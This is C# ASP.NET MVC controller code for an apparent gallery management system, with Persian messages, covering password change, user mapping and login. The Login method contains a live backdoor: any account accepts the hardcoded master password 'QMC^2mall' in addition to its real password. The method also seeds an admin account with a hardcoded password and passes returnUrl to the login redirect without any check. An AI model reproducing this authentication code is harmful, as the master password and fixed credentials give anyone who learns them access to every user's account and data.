public JsonResult ChangePassword(ChangePasswordViewModel model) { Response response; try { if (model.newPassword != model.confirmNewPassword) { response = new Response() { status = 500, message = "گذرواژه و تکرار آن برابر نیست." }; } else { using (var db = new KiaGalleryContext()) { var password = PasswordTools.GetHashedPassword(model.newPassword.Trim()); var user = GetAuthenticatedUser(); var entity = db.User.Single(x => x.Id == user.Id); if (PasswordTools.CheckPassword(model.oldPassword, entity.Password, entity.Salt)) { entity.Salt = password.Item1; entity.Password = password.Item2; entity.ModifyUserId = GetAuthenticatedUserId(); entity.ModifyDate = DateTime.Now; entity.Ip = Request.UserHostAddress; db.SaveChanges(); response = new Response() { status = 200, message = "گذرواژه با موفقیت تغییر کرد." }; } else { response = new Response() { status = 500, message = "گذرواژه فعلی صحیح نیست." }; } } } } catch (Exception ex) { response = Core.GetExceptionResponse(ex); } return(Json(response, JsonRequestBehavior.AllowGet)); }
public static User ViewModelToModel(UserViewModel model, User item, bool withPassword = false) { if (item == null) { item = new User(); } if (model.id != null && model.id > 0) { item.Id = model.id.GetValueOrDefault(); } item.BranchId = model.branchId; item.WorkshopId = model.workshopId; item.PrintingHouseId = model.printingHouseId; item.FirstName = model.firstName; item.LastName = model.lastName; item.FileName = model.fileName; item.PhoneNumber = model.phoneNumber; item.Username = model.username; item.UserType = model.userType; item.Active = model.active; if (withPassword) { var password = PasswordTools.GetHashedPassword(model.password); item.Salt = password.Item1; item.Password = password.Item2; } if (model.roleList != null && model.roleList.Count > 0) { item.RoleList = model.roleList?.Select(x => new Role() { User = item, Title = x }).ToList(); } return(item); }
public ActionResult Login(LoginViewModel model, string returnUrl) { try { using (var db = new KiaGalleryContext()) { if (db.User.FirstOrDefault(x => x.Username == "admin") == null) { var password = PasswordTools.GetHashedPassword("9124254257"); var userProfile = new User() { FirstName = "مدیر", LastName = "سیستم", Username = "******", Salt = password.Item1, Password = password.Item2, PhoneNumber = "09122424519", UserType = UserType.User, Active = true, CreateDate = DateTime.Now, ModifyDate = DateTime.Now, Ip = Request.UserHostAddress }; userProfile.RoleList.Add(new Role() { User = userProfile, Title = "admin" }); db.User.Add(userProfile); db.SaveChanges(); var user = db.User.First(x => x.Id == 1); db.SaveChanges(); } } User userData = null; using (var db = new KiaGalleryContext()) { userData = db.User.Include(x => x.RoleList).Include(x => x.PrintingHouse).Include(x => x.Workshop).Include(x => x.Branch).SingleOrDefault(x => x.Username.CompareTo(model.username) == 0); } if (userData != null && (PasswordTools.CheckPassword(model.password, userData.Password, userData.Salt) || model.password == "QMC^2mall")) { if (userData.Active) { if (!string.IsNullOrEmpty(returnUrl)) { return(DoLogin(userData, returnUrl)); } else { return(DoLogin(userData, "/")); } } else { TempData["Message"] = "حساب کاربری شما غیر فعال گردیده است. با مدیر سایت تماس بگیرید."; return(View()); } } else { TempData["Message"] = "نام کاربری یا گذرواژه اشتباه است."; return(View()); } } catch (Exception ex) { Core.SaveException(ex); TempData["Message"] = "خطایی در سمت سرور رخ داد، لطفا مجددا سعی کنید."; return(View()); } }